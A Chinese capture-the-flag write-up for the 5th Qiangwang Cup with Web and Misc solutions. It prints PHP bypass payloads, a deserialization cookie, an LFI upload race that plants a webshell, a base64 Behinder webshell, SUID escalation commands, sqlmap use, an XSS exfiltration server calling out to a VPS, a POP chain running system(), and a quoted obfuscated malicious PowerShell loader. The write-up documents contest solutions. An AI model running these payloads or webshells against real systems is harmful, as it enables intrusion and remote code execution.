第五届强网杯全国网络安全挑战赛writeup
Web
1.[强网先锋]寻宝
下发赛题,访问链接如下:
该题需要你通过信息 1 和信息 2 分别获取两段 Key 值,输入 Key1 和 Key2 然后解密。
Key1之代码审计
点击“信息1”,发现是代码审计:
完整源码如下:
<?php
header('Content-type:text/html;charset=utf-8');
error_reporting(0);
highlight_file(__file__);
function filter($string){
$filter_word = array('php','flag','index','KeY1lhv','source','key','eval','echo','\$','\(','\.','num','html','\/','\,','\'','0000000');
$filter_phrase= '/'.implode('|',$filter_word).'/';
return preg_replace($filter_phrase,'',$string);
}
if($ppp){
unset($ppp);
}
$ppp['number1'] = "1";
$ppp['number2'] = "1";
$ppp['nunber3'] = "1";
$ppp['number4'] = '1';
$ppp['number5'] = '1';
extract($_POST);
$num1 = filter($ppp['number1']);
$num2 = filter($ppp['number2']);
$num3 = filter($ppp['number3']);
$num4 = filter($ppp['number4']);
$num5 = filter($ppp['number5']);
if(isset($num1) && is_numeric($num1)){
die("非数字");
}
else{
if($num1 > 1024){
echo "第一层";
if(isset($num2) && strlen($num2) <= 4 && intval($num2 + 1) > 500000){
echo "第二层";
if(isset($num3) && '4bf21cd' === substr(md5($num3),0,7)){
echo "第三层";
if(!($num4 < 0)&&($num4 == 0)&&($num4 <= 0)&&(strlen($num4) > 6)&&(strlen($num4) < 8)&&isset($num4) ){
echo "第四层";
if(!isset($num5)||(strlen($num5)==0)) die("no");
$b=json_decode(@$num5);
if($y = $b === NULL){
if($y === true){
echo "第五层";
include 'KeY1lhv.php';
echo $KEY1;
}
}else{
die("no");
}
}else{
die("no");
}
}else{
die("no");
}
}else{
die("no");
}
}else{
die("no111");
}
}
非数字
?>
核心需要 bypass 的代码如下:
第一层:要求非纯数字且大于 1024,利用 PHP 弱比较令 $num1=11111a 即可。
第二层:绕过 intval 函数(intval() 函数用于获取变量的整数值),利用科学技术法绕过长度小于 5 的限制,故令 $num2=9e9 即可。
第三层:substr(md5) 取值为某个值,编写脚本进行 MD5 碰撞,计算出num3 为 61823470,脚本如下:
import hashlib
def md5_encode(num3):
return hashlib.md5(num3.encode()).hexdigest()[0:7]
for i in range(60000000,700000000):
num3 = md5_encode(str(i))
# print(num3)
if num3 == '4bf21cd':
print(i)
break
运行结果如下:
第四层:科学计数法绕过,长度为 7 且为 0,num4 为 0e00000。
第五层:json_decode()函数接受一个 JSON 编码的字符串并且把它转换为 PHP 变量,如果 json 无法被解码(非 json 格式时)将会返回 null ,故令 num5 等于 1a (任意字符串即可)。
故最终 Payload:
ppp[number1]=11111a&ppp[number2]=9e9&ppp[number3]=61823470&ppp[number4]=0e00000&ppp[number5]=1a
POST提交获得 Key1:
KEY1{e1e1d3d40573127e9ee0480caf1283d6}
Key2之脚本搜索
1、提示信息给了一个下载链接:
2、解压后得到一堆 docx 文件:
3、随便打开一个发现是一堆字符:
4、猜测 Key2 就在其中某一个文件中,写脚本跑:
import os
import docx
for i in range(1,20):
for j in range(1,20):
path = "./5.{0}/VR_{1}".format(i,j)
files = os.listdir(path)
# print(filePath)
for file in files:
try:
fileName = path+"/"+file
# print(fileName)
file = docx.Document(fileName)
for content in file.paragraphs:
# print(content.text)
if "KEY2{" in content.text:
print(content.text)
print(fileName)
break
except:
pass
运行结果如下:
得到 KEY2 :
KEY2{T5fo0Od618l91SlG6l1l42l3a3ao1nblfsS}
在原页面上提交获取 flag:
2.[强网先锋]赌徒
3.WhereIsUWebShell
源码
<!-- You may need to know what is in e2a7106f1cc8bb1e1318df70aa0a3540.php-->
<?php
// index.php
ini_set('display_errors', 'on');
if(!isset($_COOKIE['ctfer'])){setcookie("ctfer",serialize("ctfer"),time()+3600);
}else{include "function.php";echo "I see your Cookie<br>";$res = unserialize($_COOKIE['ctfer']);if(preg_match('/myclass/i',serialize($res))){throw new Exception("Error: Class 'myclass' not found ");}
}
highlight_file(__FILE__);
echo "<br>";
highlight_file("myclass.php");
echo "<br>";
highlight_file("function.php");
<?php
// myclass.php
class Hello{public function __destruct(){ if($this->qwb) echo file_get_contents($this->qwb);}
}
?>
<?php
// function.php
function __autoload($classname){require_once "/var/www/html/$classname.php";
}
?>
入口的 COOKIE 存在反序列化
去掉最后的大括号,利用反序列化报错来防止进入 Exception
O:7:"myclass":1:{s:1:"h";O:5:"Hello":1:{s:3:"qwb";s:36:"e2a7106f1cc8bb1e1318df70aa0a3540.php";}
O%3A7%3A%22myclass%22%3A1%3A%7Bs%3A1%3A%22h%22%3BO%3A5%3A%22Hello%22%3A1%3A%7Bs%3A3%3A%22qwb%22%3Bs%3A36%3A%22e2a7106f1cc8bb1e1318df70aa0a3540%2Ephp%22%3B%7D
e2a7106f1cc8bb1e1318df70aa0a3540.php
<?php
include "bff139fa05ac583f685a523ab3d110a0.php";
include "45b963397aa40d4a0063e0d85e4fe7a1.php";
$file = isset($_GET['72aa377b-3fc0-4599-8194-3afe2fc9054b'])?$_GET['72aa377b-3fc0-4599-8194-3afe2fc9054b']:"404.html";
$flag = preg_match("/tmp/i",$file);
if($flag){PNG($file);
}
include($file);
$res = @scandir($_GET['dd9bd165-7cb2-446b-bece-4d54087185e1']);
if(isset($_GET['dd9bd165-7cb2-446b-bece-4d54087185e1'])&&$_GET['dd9bd165-7cb2-446b-bece-4d54087185e1']==='/tmp'){$somthing = GenFiles();$res = array_merge($res,$somthing);
}
shuffle($res);
@print_r($res);
?>
bff139fa05ac583f685a523ab3d110a0.php
<?php
function PNG($file)
{if(!is_file($file)){die("我从来没有见过侬");}$first = imagecreatefrompng($file);if(!$first){die("发现了奇怪的东西2333");}$size = min(imagesx($first), imagesy($first));unlink($file);$second = imagecrop($first, ['x' => 0, 'y' => 0, 'width' => $size, 'height' => $size]);if ($second !== FALSE) {imagepng($second, $file);imagedestroy($second);//销毁,清内存}imagedestroy($first);
}
?>
45b963397aa40d4a0063e0d85e4fe7a1.php
<?phpfunction GenFiles(){$files = array();$str = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';$len=strlen($str)-1;for($i=0;$i<10;$i++){$filename="php";for($j=0;$j<6;$j++){$filename .= $str[rand(0,$len)];}// file_put_contents('/tmp/'.$filename,'flag{fake_flag}');$files[] = $filename;}return $files;
}?>
/e2a7106f1cc8bb1e1318df70aa0a3540.php?72aa377b-3fc0-4599-8194-3afe2fc9054b=passwd&dd9bd165-7cb2-446b-bece-4d54087185e1=/tmp
当前应该是在 /etc 目录下(?
不过没啥用,不能直接读 /flag,或者说 flag 不在根目录
参考 LFI via SegmentFault
include.php?file=php://filter/string.strip_tags/resource=/etc/passwd
可以导致 php 在执行过程中 Segment Fault
本地文件包含漏洞可以让 php 包含自身从而导致死循环
然后 php 就会崩溃 , 如果请求中同时存在一个上传文件的请求的话 , 这个文件就会被保留
魔改他的脚本
# -*- coding: utf-8 -*-import requests
import string
import itertoolscharset = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'base_url = "http://eci-2ze9gh3z7jcw29alwhuz.cloudeci1.ichunqiu.com"def upload_file_to_include(url, file_content):files = {'file': ('evil.jpg', file_content, 'image/jpeg')}try:response = requests.post(url, files=files)print(response)except Exception as e:print(e)def generate_tmp_files():with open('miao.png', 'rb') as fin:file_content = fin.read()phpinfo_url = "%s/e2a7106f1cc8bb1e1318df70aa0a3540.php?72aa377b-3fc0-4599-8194-3afe2fc9054b=php://filter/string.strip_tags/resource=passwd" % (base_url)length = 6times = int(len(charset) ** (length / 2))for i in range(times):print("[+] %d / %d" % (i, times))upload_file_to_include(phpinfo_url, file_content)def main():generate_tmp_files()if __name__ == "__main__":main()
图片是个长宽相等的 png,里面放木马。
上传过程中就会留下一些文件不会被删除。
一边跑这个脚本,另一边的一堆 /tmp/phpxxxxxx 里就存在我们的 webshell
由于会自动删除,没了就换新的
根目录果然没 flag
然后利用 shell 发现 /usr/bin 下面有个文件可以以 root 权限执行命令
find / -user root -perm -4000 -print 2>/dev/null
# 或者
# find / -perm -u=s -type f 2>/dev/null
flag 在 /l1b 下一个绕来绕去的目录里面
或者
find / -perm 600 -user root
最后执行
/usr/bin/ed471efd0577be6357bb94d6R3@dF1aG /l1b/82a71a2d/e17e0f28/74cb5ced/8f93ff64/3396136a/Fl444ggg160b5c41
POST /e2a7106f1cc8bb1e1318df70aa0a3540.php?b822f88a-de15-4dc8-923b-1cbeec54bcfc=/tmp/phpi8bEt1&0=system HTTP/1.1
Host: eci-2zehg7ugvk0ahcsnkehl.cloudeci1.ichunqiu.com
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: UM_distinctid=1769d95cb5b54d-04781d3935eefa-c791039-1fa400-1769d95cb5c669; Hm_lvt_2d0601bd28de7d49818249cf35d95943=1611909425; ctfer=s%3A5%3A%22ctfer%22%3B; __jsluid_h=847d751b863f86e3ed743f9efb5d5c4f
Connection: close
Content-Length: 110
Content-Type: application/x-www-form-urlencoded1=/usr/bin/ed471efd0577be6357bb94d6R3@dF1aG /l1b/82a71a2d/e17e0f28/74cb5ced/8f93ff64/3396136a/Fl444ggg160b5c41
flag{b101e657-a46a-4791-abcb-5be544fc12bd}
4.EasyWeb
SQL注入得密码
1、提示信息收集,那么先扫一波端口:
2、访问该端口是一个登陆页面:
3、简单测试发现是未过滤的 SQL 注入:
4、直接上 Sqlmap(sqlmap.py -r 123.txt --dbms MySQL -p "username" -D easyweb -T employee -C "username,password" --dump,不知为何,此题发现必须加上--dbms MySQL -p "username"参数才能正常跑 sqlmap),获得账户密码,尴尬的是一开始以为密码得解密后才能登录,后来队友说直接输入就行……
5、登陆后围绕系统标题栏 EasySSRF 的提示,一通搜索企图利用 SSRF 读取本地 flag 文件,无果……
上传木马并提权
1、尝试 SSRF 无果,无奈继续信息搜集,扫描路径,发现 file 路径可上传文件:
2、尝试上传 php 一句话木马,被拦截了,Fuzz 了一下发现是后缀+内容过滤,不能传 jpg 这些,猜测用.htaccess上传漏洞,发现也存在过滤:
3、此处过滤了 application,用 php5-script 绕过即可:
4、随后上传木马文件,传马发现 php 不能闭合,并且过滤了一些危险函数,fuzz 一下得到:
5、成功连接木马:
6、然而发现 flag 文件无法读取……权限不足,读取 hint 文件获得提示:
7、提示信息要求继续进行信息收集,接下来的操作比赛时我没搞懂,故盗用别人的解题过程……使用命令netstat –apn查看服务器所有的进程和端口使用情况,留意到 8006 端口为 JBoss 服务:
在终端使用 curl 命令请求访问 8006 端口的服务页面:
8、访问 1.qwer 木马文件,写入冰蝎马(方便利用冰蝎做内网穿透,将靶机内网服务映射到本地):
/1.qwer?1=file_put_contents('b.php',base64_decode('PD9waHAKQGVycm9yX3JlcG9ydGluZygwKTsKc2Vzc2lvbl9zdGFydCgpOwogICAgJGtleT0iZTQ1ZTMyOWZlYjVkOTI1YiI7IC8v6K%2Bl5a%2BG6ZKl5Li66L%2Be5o6l5a%2BG56CBMzLkvY1tZDXlgLznmoTliY0xNuS9je%2B8jOm7mOiupOi%2FnuaOpeWvhueggXJlYmV5b25kCgkkX1NFU1NJT05bJ2snXT0ka2V5OwoJc2Vzc2lvbl93cml0ZV9jbG9zZSgpOwoJJHBvc3Q9ZmlsZV9nZXRfY29udGVudHMoInBocDovL2lucHV0Iik7CglpZighZXh0ZW5zaW9uX2xvYWRlZCgnb3BlbnNzbCcpKQoJewoJCSR0PSJiYXNlNjRfIi4iZGVjb2RlIjsKCQkkcG9zdD0kdCgkcG9zdC4iIik7CgkJCgkJZm9yKCRpPTA7JGk8c3RybGVuKCRwb3N0KTskaSsrKSB7CiAgICAJCQkgJHBvc3RbJGldID0gJHBvc3RbJGldXiRrZXlbJGkrMSYxNV07IAogICAgCQkJfQoJfQoJZWxzZQoJewoJCSRwb3N0PW9wZW5zc2xfZGVjcnlwdCgkcG9zdCwgIkFFUzEyOCIsICRrZXkpOwoJfQogICAgJGFycj1leHBsb2RlKCd8JywkcG9zdCk7CiAgICAkZnVuYz0kYXJyWzBdOwogICAgJHBhcmFtcz0kYXJyWzFdOwoJY2xhc3MgQ3twdWJsaWMgZnVuY3Rpb24gX19pbnZva2UoJHApIHtldmFsKCRwLiIiKTt9fQogICAgQGNhbGxfdXNlcl9mdW5jKG5ldyBDKCksJHBhcmFtcyk7Cj8%2BCg%3D%3D'));
9、接着使用冰蝎客户端的“内网穿透”建立 HTTP 隧道,将靶机的 8006 端口映射到物理机的 2222 端口:
随后本地物理机浏览器即可访问 2222 端口,为 JBoss 默认页面:
10、最后使用 JexBoss 脚本一把梭https://github.com/SpartansHackTeam/Jexboss,获得 Shell 为 root 权限,即可查看 flag 如下:
本题最后补充两个知识点:
冰蝎 3.0 内网穿透(代理)功能详解:冰蝎v3.0操作使用手册 ;
JexBoss 脚本工具的使用:JBoss未授权访问漏洞Getshell过程复现。
5.EasyXSS
The BOT starts every five seconds and handles only one reported URL at a time. The BOT is Google-Chrome 91.0.4472.77 (Official Build) (64-bit)
Notice: the address requested by the BOT is http://localhost:8888.
Each time the BOT processes a request, it clears subsequent report URLs from the database
每 15 分钟重启环境
47.104.192.54:8888
47.104.210.56:8888
47.104.155.242:8888Hint: flag格式是flag{uuid}
算是个 XS-Leaks 的题目,算是侧信道的一种吧。
通过 /hint 路由可以知道 flag 判断逻辑。
app.all("/flag", auth, async (req, res, next) => {if (req.session.isadmin && typeof req.query.var === "string") {fs.readFile("/flag", "utf8", (err, flag) => {let flagArray = flag.split("");let dataArray = req.query.var.split("");let check = true;for (let i = 0; i < dataArray.length && i < flagArray.length; i++) {if (dataArray[i] !== flagArray[i]) {check = false;break;}}if (check) {res.status(200).send(req.query.var);} else {res.status(500).send("Keyword Error!");}});} else {res.status(500).send("Sorry, you are not admin!");}
});
/flag 路由对输入的逐个字符与 flag 的这么多个(输入的)长度的字符进行比较,如果每一位都相同则返回 200,否则返回 500.
访问 /about?theme=xxxxx 发现存在 XSS。不过过滤了一些东西,比如 空格可以用 %09 绕过之类。
根据提示 flag 是个 UUID,于是可以按照这个格式逐位爆破,通过返回的状态来判断当前字符是否正确。
访问 /about?theme=xxxxx 发现存在 XSS。不过过滤了一些东西,比如 空格可以用 %09 绕过之类。
于是就在 VPS 上跑个脚本,分成功和失败两个路由,让 bot 访问自己的 /flag 路由。
如果成功返回则调用 Ajax 去请求 VPS 上的 success 路由,否则请求 error 路由,并通过参数返回当前爆破的 flag。
exp:
from flask import Flask
from flask import request
import requests
import urllib.parseapp = Flask(__name__)@app.route("/success")
def index():global cookiesglobal urldata = request.args.get('a')if len(data) == 13 or len(data) == 18 or len(data) == 23 or len(data) == 28:data += "-0"else:data += "0"p = '''";t="''' + data +'''",$.ajax({url:"/flag?var="+t}).done(function(o){window.location="http://自己的VPS/success?a="+t}).fail(function(){window.location="http://自己的VPS/error?a="+t});//'''p = "http://localhost:8888/about?theme=" + urllib.parse.quote(p)d = {"url": p}requests.post(url, data=d, cookies=cookies)return "Hello World!"@app.route("/error")
def index2():global cookiesglobal urldata = request.args.get('a')tmp = data[:-1]if data[-1] == "9":tmp += "a"else:tmp += chr(ord(data[-1]) + 1)data = tmpp = '''";t="''' + data +'''",$.ajax({url:"/flag?var="+t}).done(function(o){window.location="http://自己的VPS/success?a="+t}).fail(function(){window.location="http://自己的VPS/error?a="+t});//'''p = "http://localhost:8888/about?theme=" + urllib.parse.quote(p)d = {"url": p}requests.post(url, data=d, cookies=cookies)return "Hello World!"cookies = {"session":"s%3ASuDwPHFP03I6VDRGiad8Zzst0owLeQY_.MjxB%2BTBwTgesKkEE9dIR95EoJPMuNNh%2BOZFw6ajDMm0"}
# url = "http://47.104.210.56:8888/report"
url = "http://47.104.192.54:8888/report"
app.run(host='0.0.0.0', port=80)
让 bot 从 0 开始访问,虽然容器固定时间重启,但是 flag 是静态的 uuid,所以就是时间问题了。
最后根据 VPS 上的访问记录就能得到 flag 了。
6.Hard_Penetration
7.pop_master
该题需要构造反序列化利用链 最终实现RCE
由于该题目类数量巨大1W个 编写自动化脚本构造pop链
第一步将class.php.txt转化成AST(抽象语法树) 保存为json格式
<?php
ini_set(“memory_limit”,”-1”);
echo(json_encode(ast\parse_file(“class.php”, $version=70)));
构造比较简单A->B->C->…….->包含EVAL()的class function
调用这里有几个坑 1.调用途中有参数污染(附加垃圾数据) 2.调用途中传参可能被清空 (传参被赋值未定义的变量)3.调用途中传参可能被修改 (直接赋值为垃圾数据)
所以并不是找到调用链就可以完成工作 而是需要找到可以利用的调用链
自动化代码:
PS:没有什么参考价值 只对该题可用 因为固定3种函数结构所以偷懒把参数写死了 初学py语言 第一次做AST树解析用这种笨方法)
## -*- coding: utf-8 -*-import jsonimport randomimport osimport stringwith open("12.json") as f: line=f.readline() result=json.loads(line)print(len(result['children']))def asb(name,s,s1=''): ee = 0 for a in result['children']: for b in a['children']['stmts']['children']: if 'name' in b['children'].keys(): if (b['children']['name'] == 'gG1T5D'): ee = 0 #ee=1 if (b['children']['name'] == name): test(a) if(len(b['children']['stmts']['children'])==3): q = b['children']['stmts']['children'][1]['children'][0]['children']['cond']['children']['args']['children'][1] w = b['children']['stmts']['children'][random.randint(1,2)]['children'][0]['children']['cond']['children']['args']['children'][1]#随机分支 玄学构造 #print(s + q) #print(s + w) ran_str = ''.join(random.sample(string.ascii_letters, 8)) print('$'+ran_str+'=new '+a['children']['name']+'();') s11='$' + ran_str + '->' + a['children']['stmts']['children'][0]['children']['props']['children'][0]['children']['name'] + '=' #if s1!='':
# asb(w, s +w+'-->') # asb(q, s +q+'-->') if ee!=1: asb(w,s,s11)# 分支函数1 #asb(q, s, s11)# 分支函数2 if ran_str == '': exit() print(s1 + '$' + ran_str+';')
#asb(q, s +q+'-->')
else: if 'method' in b['children']['stmts']['children'][1]['children'].keys():# 没有分支 q = b['children']['stmts']['children'][1]['children']['method'] ran_str = ''.join(random.sample(string.ascii_letters, 8)) print('$' + ran_str + '=new ' + a['children']['name'] + '();') s11 = '$' + ran_str + '->' + a['children']['stmts']['children'][0]['children']['props']['children'][0]['children']['name'] + '=' #print(s + q) if ee != 1: asb(q, s, s11) if ran_str == '': exit() print(s1 + '$' + ran_str + ';')
def test(d): #if name in {'Name','COiLxB'}: #print('nono') #exit() try: a=d['children']['stmts']['children'][1]['children']['params']['children'][0]['children']['name'] b=d['children']['stmts']['children'][1]['children']['stmts']['children'][0]['children']['stmts']['children'][0]['children']['var']['children']['name'] c=d['children']['stmts']['children'][1]['children']['stmts']['children'][0]['children']['stmts']['children'][0]['children']['expr']['children']['name'] if(a==b and b!=c and a!='DgiNa'): #判断赋值是否是用不存在的变量覆盖传参
print(a,b,c) print('no') asb('YYdqkf', 'YYdqkf' + '-->')#重新搜索 os._exit(0)
except: passasb('YYdqkf','YYdqkf'+'-->')
编写脚本处理AST
随机抽取一条构造链 检验是否正常执行(传参修改检测) 反复抽取得到可用的链
ps:例图输出与下面代码无关 找不到成功的图了
<?php
此处省略3M大小的源class
$a=new WK4tcG();$prXsQMfO=new WK4tcG();$DLcTtAga=new xaeGnG();$lcbgRpGI=new oAMzcx();$IatldcbW=new p38LCI();$nULgbaKw=new GbfW4c();$ASyQaYMV=new m2s3zO();$GMwztlCS=new PgSSqR();$MegPsOnX=new RLuIRL();$neJOwgfu=new WykBAC();$PNHChDce=new g6hgDh();$BzceWjKp=new HDaeRV();$YThMXwcb=new bREm3w();$xWVjhwmO=new D0aZh5();$BIbCvgZD=new T9NX4U();$prvhXPMW=new eWciOL();$NVHbgdzD=new TqWDlm();$mszgihWC=new XoFA87();$vDBkPwqO=new MU1ai5();$ZYHhsIid=new eHtdBF();$ZYHhsIid->V7XKdgi=new DNUWgV();$vDBkPwqO->zXEmp6T=$ZYHhsIid;$mszgihWC->z35pfqP=$vDBkPwqO;$NVHbgdzD->KGgGFnb=$mszgihWC;$prvhXPMW->D6qeYVK=$NVHbgdzD;$BIbCvgZD->UwQCEH2=$prvhXPMW;$xWVjhwmO->ST8sCZq=$BIbCvgZD;$YThMXwcb->pMgtiwK=$xWVjhwmO;$BzceWjKp->OO72gIu=$YThMXwcb;$PNHChDce->GYBlHLq=$BzceWjKp;$neJOwgfu->yWYNYcP=$PNHChDce;$MegPsOnX->dFy0Irz=$neJOwgfu;$GMwztlCS->Cs99EPC=$MegPsOnX;$ASyQaYMV->QidIkAq=$GMwztlCS;$nULgbaKw->gE4DrP9=$ASyQaYMV;$IatldcbW->OksedLV=$nULgbaKw;$lcbgRpGI->SUxaKsh=$IatldcbW;$DLcTtAga->u3832FP=$lcbgRpGI;$a->fBuH5Og=$DLcTtAga;//$a = $_GET['pop'];$b = $_GET['argv'];echo serialize($a);//$a = unserialize($a);//var_dump($a);$a->YYdqkf($b);?>
生成序列化文本
?pop=O:6:%22WK4tcG%22:1:{s:7:%22fBuH5Og%22;O:6:%22xaeGnG%22:1:{s:7:%22u3832FP%22;O:6:%22oAMzcx%22:1:{s:7:%22SUxaKsh%22;O:6:%22p38LCI%22:1:{s:7:%22OksedLV%22;O:6:%22GbfW4c%22:1:{s:7:%22gE4DrP9%22;O:6:%22m2s3zO%22:1:{s:7:%22QidIkAq%22;O:6:%22PgSSqR%22:1:{s:7:%22Cs99EPC%22;O:6:%22RLuIRL%22:1:{s:7:%22dFy0Irz%22;O:6:%22WykBAC%22:1:{s:7:%22yWYNYcP%22;O:6:%22g6hgDh%22:1:{s:7:%22GYBlHLq%22;O:6:%22HDaeRV%22:1:{s:7:%22OO72gIu%22;O:6:%22bREm3w%22:1:{s:7:%22pMgtiwK%22;O:6:%22D0aZh5%22:1:{s:7:%22ST8sCZq%22;O:6:%22T9NX4U%22:1:{s:7:%22UwQCEH2%22;O:6:%22eWciOL%22:1:{s:7:%22D6qeYVK%22;O:6:%22TqWDlm%22:1:{s:7:%22KGgGFnb%22;O:6:%22XoFA87%22:1:{s:7:%22z35pfqP%22;O:6:%22MU1ai5%22:1:{s:7:%22zXEmp6T%22;O:6:%22eHtdBF%22:1:{s:7:%22V7XKdgi%22;O:6:%22DNUWgV%22:1:{s:7:%22bieiHE3%22;N;}}}}}}}}}}}}}}}}}}}}&argv=system(%27cat%20/flag%27);//
访问即可getflag
Misc
1.签到
flag{welcome_to_qwb_s5}
2.BlueTeaming
Powershell scripts were executed by malicious programs. What is the registry key that contained the power shellscript content?(本题flag为非正式形式)
附件下载 提取码(GAME)备用下载
压缩包解压密码:fantasicqwb2021
首先使用 volatility 将内存中的 register hive 导出来.
volatility -f memory.dmp --profile Win7SP1x64 hivelist
volatility -f memory.dmp --profile Win7SP1x64 dumpregistry -D .
题目中说到可能和 powershell 恶意程序有关系,那么优先考虑 SOFTWARE 专用的字符串,使用 WRR.exe 工具检查注册表,然后全局搜索一些常见的恶意软件字段,比如 -IEX, encode decompress new-object 等等,最终能够找到恶意软件存放的注册表位置
搜到一个路径是CMI-CreateHive{199DAFC2-6F16-4946-BF90-5A3FC3A60902}\Microsoft\Windows\Communication
恶意脚本是
& ( $veRBOsepReFErEncE.tOstrINg()[1,3]+'x'-JOin'')( nEW-ObjEcT sySTEm.iO.sTreaMReAdER( ( nEW-ObjEcT SystEm.iO.CompreSsiOn.DEfLATEstREam([IO.meMoryStream] [CoNVeRT]::fROMbASe64StRinG('NVJdb5tAEHyv1P9wQpYAuZDaTpvEVqRi+5Sgmo/Axa0VRdoLXBMUmyMGu7Es//fuQvoAN7e7Nzua3RqUcJbgQVLIJ1hzNi/eGLMYe2gOFX+0zHpl9s0Uv4YHbnu8CzwI8nIW5UX4bNqM2RPGUtU4sPQSH+mmsFbIY87kFit3A6ohVnGIFbLOdLlXCdFhAlOT3rGAEJYQvfIsgmAjw/mJXTPLssxsg3U59VTvyrT7JjvDS8bwN8NvbPYt81amMeItpi1TI3omaErK0fO5bNr7LQVkWjYkqlZtkVtRUK8xxAQxxqylGVwM3dFX6jtw6TgbnrPRCMFlm75i3xAPhq2aqUnNKFyWqhNiu0bC4wV6kXHDsh6yF5k8Xgz7Hbi6+ACXI/vLQyoSv7x5/EgNbXvy+VPvOAtyvWuggvuGvOhZaNFS/wTlqN9xwqGuwQddst7Rh3AfvQKHLAoCsq4jmMJBgKrpMbm/By8pcDQLzlju3zFn6S12zB6PjXsIfcj0XBmu8Qyqma4ETw2rd8w2MI92IGKU0HGqEGYacp7/Z2U+CB7gqJdy67c2dHYsOA0H598N33b3cr3j2EzoKXgpiv1+XjfbIryhRk+wakhq16TSqYhpKcHbpNTox9GYgyekcY0KcFGyKFf56YTF7drg1ji/+BMk/G7H04Y599sCFW3+NG71l0aXZRntjFu94FGhHidQzYvOsSiOaLsFxaY6P6CbFWioRSUTGdSnyT8=' ) , [IO.coMPressION.cOMPresSiOnmOde]::dEcOMPresS)), [TexT.ENcODInG]::AsCIi)).ReaDToeNd()
flag是 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Communication
3.CipherMan
The attacker maliciously accessed the user’s PC and encrypted specific volumes. How to decrypt the volume?(本题flag为非正式形式)
附件下载 提取码(GAME)备用下载
压缩包解压密码:fantasicqwb2021
volatility -f memory imageinfo
volatility -f memory --profile=Win7SP1x86_23418 filescan | grep 'txt'
volatility -f memory --profile=Win7SP1x86_23418 dumpfiles -Q 0x000000007e02af80 -D ./
BitLocker 드라이브 암호화 복구 키복구 키는 BitLocker로 보호되는 드라이브에서 데이터를 검색하기 위해 사용됩니다.
이 키가 올바른 복구 키인지 확인하려면 복구 화면에 표시된 것과 ID를 비교하십시오.
복구 키 ID: 168F1291-82C1-4B
전체 복구 키 ID: 168F1291-82C1-4BF2-B634-9CCCEC63E9ED
BitLocker 복구 키:
221628-533357-667392-449185-516428-718443-190674-375100BitLocker驱动器加密恢复键
恢复密钥用于在被保护为BitLocker的驱动器中搜索数据。
如果您想确认此密钥是否正确,请比较恢复屏幕上显示的和ID。
恢复密钥ID:168F1291-82C1-4B
整体恢复密钥ID:168F1291-82C1-4BF2-B634-9CCCEC63E9ED
BitLocker恢复键:
221628-533357-667392-449185-516428-718443-190674-375100
DiskGenius 解密
Wow,you have a great ability. How did you solve this? Are you a hacker? Please give me a lesson later.
找了半天最后发现这个内容就是 flag。。
赛后发现是原题
Digital Forensic Challenge 2018 VOI200 문제 풀이
4.ExtremelySlow
附件下载 提取码(GAME)备用下载
压缩包解压密码:fantasicqwb2021
首先是一个流量包,里面全是 TCP 和 HTTP 流量。而且是 206 分段传输,每个包传 1byte。
于是先导出为 JSON,然后写个脚本提取其中的每个 byte,最后合并得到一个二进制文件。
wireshark 直接导出的 JSON 里 http.response.line 包含多个,如果直接用 json.loads 只保留最后一个了,所以先要去掉无关的内容。
import json
import rewith open('http.json', 'r', encoding='utf-8') as fin:s = fin.read()re_num = re.compile(r'\"http\.response\.line\": \"content-range: bytes (\d+)-\d+/1987\\r\\n\"')
re_nonnum = re.compile(r'(\"http\.response\.line\": (?!\"content-range: bytes (\d+)-\d+/1987\\r\\n\",).*)')
s1 = re.sub(re_nonnum, '', s)with open('http_sub.json', 'w', encoding='utf-8') as fout:fout.write(s1)http = json.loads(s1)
total = [b''] * 1987
# total = [''] * 1987
idx_list = []
for x in http:source = x['_source']layers = source['layers']# get datadata = layers['data']['data.data']data = bytes([int(data, 16)])# find indexn = layers['http']['http.response.line']idx = int(re.search(r'(\d+)-\d+/1987', n)[1])idx_list.append(idx)total[idx] = dataprint(total)
t = b''.join(total)
# t = ''.join(total)
# print(len(t)/2)
with open('decode.pyc', 'wb') as f:f.write(t)
# with open('decode1.pyc', 'w') as f:
# f.write(t)
或者直接命令行用 tshark 更快,不过当时就没想到这么写喵呜呜呜。
按 index 把这个合并就行,bash 脚本类似这样
tshark -r ExtremelySlow.pcapng -T fields -e data -Y "http.response.line == \"content-range: bytes $idx-$idx/1987\x0d\x0a\"" 2>/dev/null
根据文件内容得知是个 pyc 文件。
但是直接拿在线工具或者 uncompyle6 反编译都不成,发现 magic number 有误。
参考
Python’s magic numbers
Python Uncompyle6 反编译工具使用 与 Magic Number 详解
https://github.com/google/pytype/blob/master/pytype/pyc/magic.py
Understanding Python Bytecode
可以发现文件头的这个 magic number 是随版本号递增的,而且比最新的 3.9.5 跨了一大截。
于是考虑拉个 py3.10 的镜像下来。
docker run --rm -it python:3.10.0b2
根据 magic number 确定就是最新的 Python 3.10.0b2
但还是需要反编译这个pyc
uncompyle6 https://pypi.org/project/uncompyle6/ 目前只支持 python 2.4-3.8
https://github.com/rocky/python-decompile3 不行
dis 可
>>> import marshal, dis
>>> with open('decode.pyc','rb') as f:
... metadata = f.read(16)
... code_obj = marshal.load(f)
...
